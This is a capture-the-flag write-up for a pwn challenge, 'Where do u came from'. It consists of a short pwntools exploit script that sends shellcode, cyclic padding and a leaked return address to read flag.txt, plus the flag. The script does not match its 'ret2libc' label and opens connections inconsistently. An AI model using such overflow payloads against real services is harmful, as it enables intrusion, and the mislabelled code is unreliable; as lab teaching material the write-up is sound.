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Home FinalTrace 2025 Where do u came from
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Where do u came from

Where do u came from

  • Category: Pwn

  • Author: Kirubahari

Challenge Description

Ret2libc attack

Solution

Steps

Finding the right offset using dbg in cyclic mode which gives the correct offset

The return address is given the binary itself.

Combining that both helps in exploiting

Tools Used

  • gdb

  • python

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#! /usr/bin/python3

from pwn import *

elf = remote(“IP“,port)

io = process()

io.recvuntil(": ")

addr = int(io.recv(14), 16)

shellcode = asm(shellcraft.cat("flag.txt"))

payload = shellcode + cyclic(136 - len(shellcode)) + p64(addr)

io.sendline(payload)

io.interactive()

Flag

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FLAG{ret2libc}

Flag

Dynamic Flag
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